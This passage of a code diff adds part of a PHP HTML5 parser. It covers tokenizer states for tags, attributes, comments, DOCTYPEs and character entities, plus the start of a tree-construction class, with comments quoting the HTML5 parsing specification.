+ );
+
+ $this->state = 'data';
+ }
+ }
+
+ private function entityDataState()
+ {
+ // Attempt to consume an entity.
+ $entity = $this->entity();
+
+ // If nothing is returned, emit a U+0026 AMPERSAND character token.
+ // Otherwise, emit the character token that was returned.
+ $char = (!$entity) ? '&' : $entity;
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ )
+ );
+
+ // Finally, switch to the data state.
+ $this->state = 'data';
+ }
+
+ private function tagOpenState()
+ {
+ switch ($this->content_model) {
+ case self::RCDATA:
+ case self::CDATA:
+ /* If the next input character is a U+002F SOLIDUS (/) character,
+ consume it and switch to the close tag open state. If the next
+ input character is not a U+002F SOLIDUS (/) character, emit a
+ U+003C LESS-THAN SIGN character token and switch to the data
+ state to process the next input character. */
+ if ($this->character($this->char + 1) === '/') {
+ $this->char++;
+ $this->state = 'closeTagOpen';
+
+ } else {
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => '<'
+ )
+ );
+
+ $this->state = 'data';
+ }
+ break;
+
+ case self::PCDATA:
+ // If the content model flag is set to the PCDATA state
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->char();
+
+ if ($char === '!') {
+ /* U+0021 EXCLAMATION MARK (!)
+ Switch to the markup declaration open state. */
+ $this->state = 'markupDeclarationOpen';
+
+ } elseif ($char === '/') {
+ /* U+002F SOLIDUS (/)
+ Switch to the close tag open state. */
+ $this->state = 'closeTagOpen';
+
+ } elseif (preg_match('/^[A-Za-z]$/', $char)) {
+ /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
+ Create a new start tag token, set its tag name to the lowercase
+ version of the input character (add 0x0020 to the character's code
+ point), then switch to the tag name state. (Don't emit the token
+ yet; further details will be filled in before it is emitted.) */
+ $this->token = array(
+ 'name' => strtolower($char),
+ 'type' => self::STARTTAG,
+ 'attr' => array()
+ );
+
+ $this->state = 'tagName';
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Parse error. Emit a U+003C LESS-THAN SIGN character token and a
+ U+003E GREATER-THAN SIGN character token. Switch to the data state. */
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => '<>'
+ )
+ );
+
+ $this->state = 'data';
+
+ } elseif ($char === '?') {
+ /* U+003F QUESTION MARK (?)
+ Parse error. Switch to the bogus comment state. */
+ $this->state = 'bogusComment';
+
+ } else {
+ /* Anything else
+ Parse error. Emit a U+003C LESS-THAN SIGN character token and
+ reconsume the current input character in the data state. */
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => '<'
+ )
+ );
+
+ $this->char--;
+ $this->state = 'data';
+ }
+ break;
+ }
+ }
+
+ private function closeTagOpenState()
+ {
+ $next_node = strtolower($this->characters('A-Za-z', $this->char + 1));
+ $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName;
+
+ if (($this->content_model === self::RCDATA || $this->content_model === self::CDATA) &&
+ (!$the_same || ($the_same && (!preg_match(
+ '/[\t\n\x0b\x0c >\/]/',
+ $this->character($this->char + 1 + strlen($next_node))
+ ) || $this->EOF === $this->char)))
+ ) {
+ /* If the content model flag is set to the RCDATA or CDATA states then
+ examine the next few characters. If they do not match the tag name of
+ the last start tag token emitted (case insensitively), or if they do but
+ they are not immediately followed by one of the following characters:
+ * U+0009 CHARACTER TABULATION
+ * U+000A LINE FEED (LF)
+ * U+000B LINE TABULATION
+ * U+000C FORM FEED (FF)
+ * U+0020 SPACE
+ * U+003E GREATER-THAN SIGN (>)
+ * U+002F SOLIDUS (/)
+ * EOF
+ ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character
+ token, a U+002F SOLIDUS character token, and switch to the data state
+ to process the next input character. */
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => '</'
+ )
+ );
+
+ $this->state = 'data';
+
+ } else {
+ /* Otherwise, if the content model flag is set to the PCDATA state,
+ or if the next few characters do match that tag name, consume the
+ next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if (preg_match('/^[A-Za-z]$/', $char)) {
+ /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z
+ Create a new end tag token, set its tag name to the lowercase version
+ of the input character (add 0x0020 to the character's code point), then
+ switch to the tag name state. (Don't emit the token yet; further details
+ will be filled in before it is emitted.) */
+ $this->token = array(
+ 'name' => strtolower($char),
+ 'type' => self::ENDTAG
+ );
+
+ $this->state = 'tagName';
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Parse error. Switch to the data state. */
+ $this->state = 'data';
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F
+ SOLIDUS character token. Reconsume the EOF character in the data state. */
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => '</'
+ )
+ );
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Parse error. Switch to the bogus comment state. */
+ $this->state = 'bogusComment';
+ }
+ }
+ }
+
+ private function tagNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } elseif ($char === '/') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Switch to the before
+ attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current tag token's tag name.
+ Stay in the tag name state. */
+ $this->token['name'] .= strtolower($char);
+ $this->state = 'tagName';
+ }
+ }
+
+ private function beforeAttributeNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif ($char === '/') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Stay in the before
+ attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Start a new attribute in the current tag token. Set that attribute's
+ name to the current input character, and its value to the empty string.
+ Switch to the attribute name state. */
+ $this->token['attr'][] = array(
+ 'name' => strtolower($char),
+ 'value' => null
+ );
+
+ $this->state = 'attributeName';
+ }
+ }
+
+ private function attributeNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the before attribute name state. */
+ $this->state = 'afterAttributeName';
+
+ } elseif ($char === '=') {
+ /* U+003D EQUALS SIGN (=)
+ Switch to the before attribute value state. */
+ $this->state = 'beforeAttributeValue';
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif ($char === '/' && $this->character($this->char + 1) !== '>') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Switch to the before
+ attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's name.
+ Stay in the attribute name state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['name'] .= strtolower($char);
+
+ $this->state = 'attributeName';
+ }
+ }
+
+ private function afterAttributeNameState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the after attribute name state. */
+ $this->state = 'afterAttributeName';
+
+ } elseif ($char === '=') {
+ /* U+003D EQUALS SIGN (=)
+ Switch to the before attribute value state. */
+ $this->state = 'beforeAttributeValue';
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif ($char === '/' && $this->character($this->char + 1) !== '>') {
+ /* U+002F SOLIDUS (/)
+ Parse error unless this is a permitted slash. Switch to the
+ before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the EOF
+ character in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Start a new attribute in the current tag token. Set that attribute's
+ name to the current input character, and its value to the empty string.
+ Switch to the attribute name state. */
+ $this->token['attr'][] = array(
+ 'name' => strtolower($char),
+ 'value' => null
+ );
+
+ $this->state = 'attributeName';
+ }
+ }
+
+ private function beforeAttributeValueState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Stay in the before attribute value state. */
+ $this->state = 'beforeAttributeValue';
+
+ } elseif ($char === '"') {
+ /* U+0022 QUOTATION MARK (")
+ Switch to the attribute value (double-quoted) state. */
+ $this->state = 'attributeValueDoubleQuoted';
+
+ } elseif ($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the attribute value (unquoted) state and reconsume
+ this input character. */
+ $this->char--;
+ $this->state = 'attributeValueUnquoted';
+
+ } elseif ($char === '\'') {
+ /* U+0027 APOSTROPHE (')
+ Switch to the attribute value (single-quoted) state. */
+ $this->state = 'attributeValueSingleQuoted';
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Switch to the attribute value (unquoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueUnquoted';
+ }
+ }
+
+ private function attributeValueDoubleQuotedState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if ($char === '"') {
+ /* U+0022 QUOTATION MARK (")
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the entity in attribute value state. */
+ $this->entityInAttributeValueState('double');
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the character
+ in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Stay in the attribute value (double-quoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueDoubleQuoted';
+ }
+ }
+
+ private function attributeValueSingleQuotedState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if ($char === '\'') {
+ /* U+0022 QUOTATION MARK (')
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the entity in attribute value state. */
+ $this->entityInAttributeValueState('single');
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Parse error. Emit the current tag token. Reconsume the character
+ in the data state. */
+ $this->emitToken($this->token);
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Stay in the attribute value (single-quoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueSingleQuoted';
+ }
+ }
+
+ private function attributeValueUnquotedState()
+ {
+ // Consume the next input character:
+ $this->char++;
+ $char = $this->character($this->char);
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ /* U+0009 CHARACTER TABULATION
+ U+000A LINE FEED (LF)
+ U+000B LINE TABULATION
+ U+000C FORM FEED (FF)
+ U+0020 SPACE
+ Switch to the before attribute name state. */
+ $this->state = 'beforeAttributeName';
+
+ } elseif ($char === '&') {
+ /* U+0026 AMPERSAND (&)
+ Switch to the entity in attribute value state. */
+ $this->entityInAttributeValueState();
+
+ } elseif ($char === '>') {
+ /* U+003E GREATER-THAN SIGN (>)
+ Emit the current tag token. Switch to the data state. */
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } else {
+ /* Anything else
+ Append the current input character to the current attribute's value.
+ Stay in the attribute value (unquoted) state. */
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+
+ $this->state = 'attributeValueUnquoted';
+ }
+ }
+
+ private function entityInAttributeValueState()
+ {
+ // Attempt to consume an entity.
+ $entity = $this->entity();
+
+ // If nothing is returned, append a U+0026 AMPERSAND character to the
+ // current attribute's value. Otherwise, emit the character token that
+ // was returned.
+ $char = (!$entity)
+ ? '&'
+ : $entity;
+
+ $last = count($this->token['attr']) - 1;
+ $this->token['attr'][$last]['value'] .= $char;
+ }
+
+ private function bogusCommentState()
+ {
+ /* Consume every character up to the first U+003E GREATER-THAN SIGN
+ character (>) or the end of the file (EOF), whichever comes first. Emit
+ a comment token whose data is the concatenation of all the characters
+ starting from and including the character that caused the state machine
+ to switch into the bogus comment state, up to and including the last
+ consumed character before the U+003E character, if any, or up to the
+ end of the file otherwise. (If the comment was started by the end of
+ the file (EOF), the token is empty.) */
+ $data = $this->characters('^>', $this->char);
+ $this->emitToken(
+ array(
+ 'data' => $data,
+ 'type' => self::COMMENT
+ )
+ );
+
+ $this->char += strlen($data);
+
+ /* Switch to the data state. */
+ $this->state = 'data';
+
+ /* If the end of the file was reached, reconsume the EOF character. */
+ if ($this->char === $this->EOF) {
+ $this->char = $this->EOF - 1;
+ }
+ }
+
+ private function markupDeclarationOpenState()
+ {
+ /* If the next two characters are both U+002D HYPHEN-MINUS (-)
+ characters, consume those two characters, create a comment token whose
+ data is the empty string, and switch to the comment state. */
+ if ($this->character($this->char + 1, 2) === '--') {
+ $this->char += 2;
+ $this->state = 'comment';
+ $this->token = array(
+ 'data' => null,
+ 'type' => self::COMMENT
+ );
+
+ /* Otherwise if the next seven chacacters are a case-insensitive match
+ for the word "DOCTYPE", then consume those characters and switch to the
+ DOCTYPE state. */
+ } elseif (strtolower($this->character($this->char + 1, 7)) === 'doctype') {
+ $this->char += 7;
+ $this->state = 'doctype';
+
+ /* Otherwise, is is a parse error. Switch to the bogus comment state.
+ The next character that is consumed, if any, is the first character
+ that will be in the comment. */
+ } else {
+ $this->char++;
+ $this->state = 'bogusComment';
+ }
+ }
+
+ private function commentState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ /* U+002D HYPHEN-MINUS (-) */
+ if ($char === '-') {
+ /* Switch to the comment dash state */
+ $this->state = 'commentDash';
+
+ /* EOF */
+ } elseif ($this->char === $this->EOF) {
+ /* Parse error. Emit the comment token. Reconsume the EOF character
+ in the data state. */
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ /* Anything else */
+ } else {
+ /* Append the input character to the comment token's data. Stay in
+ the comment state. */
+ $this->token['data'] .= $char;
+ }
+ }
+
+ private function commentDashState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ /* U+002D HYPHEN-MINUS (-) */
+ if ($char === '-') {
+ /* Switch to the comment end state */
+ $this->state = 'commentEnd';
+
+ /* EOF */
+ } elseif ($this->char === $this->EOF) {
+ /* Parse error. Emit the comment token. Reconsume the EOF character
+ in the data state. */
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ /* Anything else */
+ } else {
+ /* Append a U+002D HYPHEN-MINUS (-) character and the input
+ character to the comment token's data. Switch to the comment state. */
+ $this->token['data'] .= '-' . $char;
+ $this->state = 'comment';
+ }
+ }
+
+ private function commentEndState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if ($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif ($char === '-') {
+ $this->token['data'] .= '-';
+
+ } elseif ($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token['data'] .= '--' . $char;
+ $this->state = 'comment';
+ }
+ }
+
+ private function doctypeState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ $this->state = 'beforeDoctypeName';
+
+ } else {
+ $this->char--;
+ $this->state = 'beforeDoctypeName';
+ }
+ }
+
+ private function beforeDoctypeNameState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ // Stay in the before DOCTYPE name state.
+
+ } elseif (preg_match('/^[a-z]$/', $char)) {
+ $this->token = array(
+ 'name' => strtoupper($char),
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ );
+
+ $this->state = 'doctypeName';
+
+ } elseif ($char === '>') {
+ $this->emitToken(
+ array(
+ 'name' => null,
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ )
+ );
+
+ $this->state = 'data';
+
+ } elseif ($this->char === $this->EOF) {
+ $this->emitToken(
+ array(
+ 'name' => null,
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ )
+ );
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token = array(
+ 'name' => $char,
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ );
+
+ $this->state = 'doctypeName';
+ }
+ }
+
+ private function doctypeNameState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ $this->state = 'AfterDoctypeName';
+
+ } elseif ($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif (preg_match('/^[a-z]$/', $char)) {
+ $this->token['name'] .= strtoupper($char);
+
+ } elseif ($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token['name'] .= $char;
+ }
+
+ $this->token['error'] = ($this->token['name'] === 'HTML')
+ ? false
+ : true;
+ }
+
+ private function afterDoctypeNameState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ // Stay in the DOCTYPE name state.
+
+ } elseif ($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif ($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token['error'] = true;
+ $this->state = 'bogusDoctype';
+ }
+ }
+
+ private function bogusDoctypeState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if ($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif ($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ // Stay in the bogus DOCTYPE state.
+ }
+ }
+
+ private function entity()
+ {
+ $start = $this->char;
+
+ // This section defines how to consume an entity. This definition is
+ // used when parsing entities in text and in attributes.
+
+ // The behaviour depends on the identity of the next character (the
+ // one immediately after the U+0026 AMPERSAND character):
+
+ switch ($this->character($this->char + 1)) {
+ // U+0023 NUMBER SIGN (#)
+ case '#':
+
+ // The behaviour further depends on the character after the
+ // U+0023 NUMBER SIGN:
+ switch ($this->character($this->char + 1)) {
+ // U+0078 LATIN SMALL LETTER X
+ // U+0058 LATIN CAPITAL LETTER X
+ case 'x':
+ case 'X':
+ // Follow the steps below, but using the range of
+ // characters U+0030 DIGIT ZERO through to U+0039 DIGIT
+ // NINE, U+0061 LATIN SMALL LETTER A through to U+0066
+ // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER
+ // A, through to U+0046 LATIN CAPITAL LETTER F (in other
+ // words, 0-9, A-F, a-f).
+ $char = 1;
+ $char_class = '0-9A-Fa-f';
+ break;
+
+ // Anything else
+ default:
+ // Follow the steps below, but using the range of
+ // characters U+0030 DIGIT ZERO through to U+0039 DIGIT
+ // NINE (i.e. just 0-9).
+ $char = 0;
+ $char_class = '0-9';
+ break;
+ }
+
+ // Consume as many characters as match the range of characters
+ // given above.
+ $this->char++;
+ $e_name = $this->characters($char_class, $this->char + $char + 1);
+ $entity = $this->character($start, $this->char);
+ $cond = strlen($e_name) > 0;
+
+ // The rest of the parsing happens bellow.
+ break;
+
+ // Anything else
+ default:
+ // Consume the maximum number of characters possible, with the
+ // consumed characters case-sensitively matching one of the
+ // identifiers in the first column of the entities table.
+ $e_name = $this->characters('0-9A-Za-z;', $this->char + 1);
+ $len = strlen($e_name);
+
+ for ($c = 1; $c <= $len; $c++) {
+ $id = substr($e_name, 0, $c);
+ $this->char++;
+
+ if (in_array($id, $this->entities)) {
+ if ($e_name[$c - 1] !== ';') {
+ if ($c < $len && $e_name[$c] == ';') {
+ $this->char++; // consume extra semicolon
+ }
+ }
+ $entity = $id;
+ break;
+ }
+ }
+
+ $cond = isset($entity);
+ // The rest of the parsing happens bellow.
+ break;
+ }
+
+ if (!$cond) {
+ // If no match can be made, then this is a parse error. No
+ // characters are consumed, and nothing is returned.
+ $this->char = $start;
+ return false;
+ }
+
+ // Return a character token for the character corresponding to the
+ // entity name (as given by the second column of the entities table).
+ return html_entity_decode('&' . $entity . ';', ENT_QUOTES, 'UTF-8');
+ }
+
+ private function emitToken($token)
+ {
+ $emit = $this->tree->emitToken($token);
+
+ if (is_int($emit)) {
+ $this->content_model = $emit;
+
+ } elseif ($token['type'] === self::ENDTAG) {
+ $this->content_model = self::PCDATA;
+ }
+ }
+
+ private function EOF()
+ {
+ $this->state = null;
+ $this->tree->emitToken(
+ array(
+ 'type' => self::EOF
+ )
+ );
+ }
+}
+
+class HTML5TreeConstructer
+{
+ public $stack = array();
+
+ private $phase;
+ private $mode;
+ private $dom;
+ private $foster_parent = null;
+ private $a_formatting = array();
+
+ private $head_pointer = null;
+ private $form_pointer = null;
+
+ private $scoping = array('button', 'caption', 'html', 'marquee', 'object', 'table', 'td', 'th');
+ private $formatting = array(
+ 'a',
+ 'b',
+ 'big',
+ 'em',
+ 'font',
+ 'i',
+ 'nobr',
+ 's',
+ 'small',
+ 'strike',
+ 'strong',
+ 'tt',
+ 'u'
+ );
+ private $special = array(
+ 'address',
+ 'area',
+ 'base',
+ 'basefont',
+ 'bgsound',
+ 'blockquote',
+ 'body',
+ 'br',
+ 'center',
+ 'col',
+ 'colgroup',
+ 'dd',
+ 'dir',
+ 'div',
+ 'dl',
+ 'dt',
+ 'embed',
+ 'fieldset',
+ 'form',
+ 'frame',
+ 'frameset',
+ 'h1',
+ 'h2',
+ 'h3',
+ 'h4',
+ 'h5',
+ 'h6',
+ 'head',
+ 'hr',
+ 'iframe',
+ 'image',
+ 'img',
+ 'input',
+ 'isindex',
+ 'li',
+ 'link',
+ 'listing',
+ 'menu',
+ 'meta',
+ 'noembed',
+ 'noframes',
+ 'noscript',
+ 'ol',
+ 'optgroup',
+ 'option',
+ 'p',
+ 'param',
+ 'plaintext',
+ 'pre',
+ 'script',
+ 'select',
+ 'spacer',
+ 'style',
+ 'tbody',
+ 'textarea',
+ 'tfoot',
+ 'thead',
+ 'title',
+ 'tr',
+ 'ul',
+ 'wbr'
+ );
+
+ // The different phases.
+ const INIT_PHASE = 0;
+ const ROOT_PHASE = 1;
+ const MAIN_PHASE = 2;
+ const END_PHASE = 3;
+
+ // The different insertion modes for the main phase.
+ const BEFOR_HEAD = 0;
+ const IN_HEAD = 1;
+ const AFTER_HEAD = 2;
+ const IN_BODY = 3;
+ const IN_TABLE = 4;
+ const IN_CAPTION = 5;
+ const IN_CGROUP = 6;
+ const IN_TBODY = 7;
+ const IN_ROW = 8;
+ const IN_CELL = 9;
+ const IN_SELECT = 10;
+ const AFTER_BODY = 11;
+ const IN_FRAME = 12;
+ const AFTR_FRAME = 13;
+
+ // The different types of elements.
+ const SPECIAL = 0;
+ const SCOPING = 1;
+ const FORMATTING = 2;
+ const PHRASING = 3;
+
+ const MARKER = 0;
+
+ public function __construct()
+ {
+ $this->phase = self::INIT_PHASE;
+ $this->mode = self::BEFOR_HEAD;
+ $this->dom = new DOMDocument;
+
+ $this->dom->encoding = 'UTF-8';
+ $this->dom->preserveWhiteSpace = true;
+ $this->dom->substituteEntities = true;
+ $this->dom->strictErrorChecking = false;
+ }
+
+ // Process tag tokens
+ public function emitToken($token)
+ {
+ switch ($this->phase) {
+ case self::INIT_PHASE:
+ return $this->initPhase($token);
+ break;
+ case self::ROOT_PHASE:
+ return $this->rootElementPhase($token);
+ break;
+ case self::MAIN_PHASE:
+ return $this->mainPhase($token);
+ break;
+ case self::END_PHASE :
+ return $this->trailingEndPhase($token);
+ break;
+ }
+ }
+
+ private function initPhase($token)
+ {
+ /* Initially, the tree construction stage must handle each token
+ emitted from the tokenisation stage as follows: */
+
+ /* A DOCTYPE token that is marked as being in error
+ A comment token
+ A start tag token
+ An end tag token
+ A character token that is not one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE
+ An end-of-file token */
+ if ((isset($token['error']) && $token['error']) ||
+ $token['type'] === HTML5::COMMENT ||
+ $token['type'] === HTML5::STARTTAG ||
+ $token['type'] === HTML5::ENDTAG ||
+ $token['type'] === HTML5::EOF ||
+ ($token['type'] === HTML5::CHARACTR && isset($token['data']) &&
+ !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))
+ ) {
+ /* This specification does not define how to handle this case. In
+ particular, user agents may ignore the entirety of this specification
+ altogether for such documents, and instead invoke special parse modes
+ with a greater emphasis on backwards compatibility. */
+
+ $this->phase = self::ROOT_PHASE;
+ return $this->rootElementPhase($token);
+
+ /* A DOCTYPE token marked as being correct */
+ } elseif (isset($token['error']) && !$token['error']) {
+ /* Append a DocumentType node to the Document node, with the name
+ attribute set to the name given in the DOCTYPE token (which will be
+ "HTML"), and the other attributes specific to DocumentType objects
+ set to null, empty lists, or the empty string as appropriate. */
+ $doctype = new DOMDocumentType(null, null, 'HTML');
+
+ /* Then, switch to the root element phase of the tree construction
+ stage. */
+ $this->phase = self::ROOT_PHASE;
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ } elseif (isset($token['data']) && preg_match(
+ '/^[\t\n\x0b\x0c ]+$/',
+ $token['data']
+ )
+ ) {
+ /* Append that character to the Document node. */
+ $text = $this->dom->createTextNode($token['data']);
+ $this->dom->appendChild($text);
+ }
+ }
+
+ private function rootElementPhase($token)
+ {
+ /* After the initial phase, as each token is emitted from the tokenisation
+ stage, it must be processed as described in this section. */
+
+ /* A DOCTYPE token */
+ if ($token['type'] === HTML5::DOCTYPE) {
+ // Parse error. Ignore the token.
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the Document object with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ $this->dom->appendChild($comment);
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ } elseif ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Append that character to the Document node. */
+ $text = $this->dom->createTextNode($token['data']);
+ $this->dom->appendChild($text);
+
+ /* A character token that is not one of U+0009 CHARACTER TABULATION,
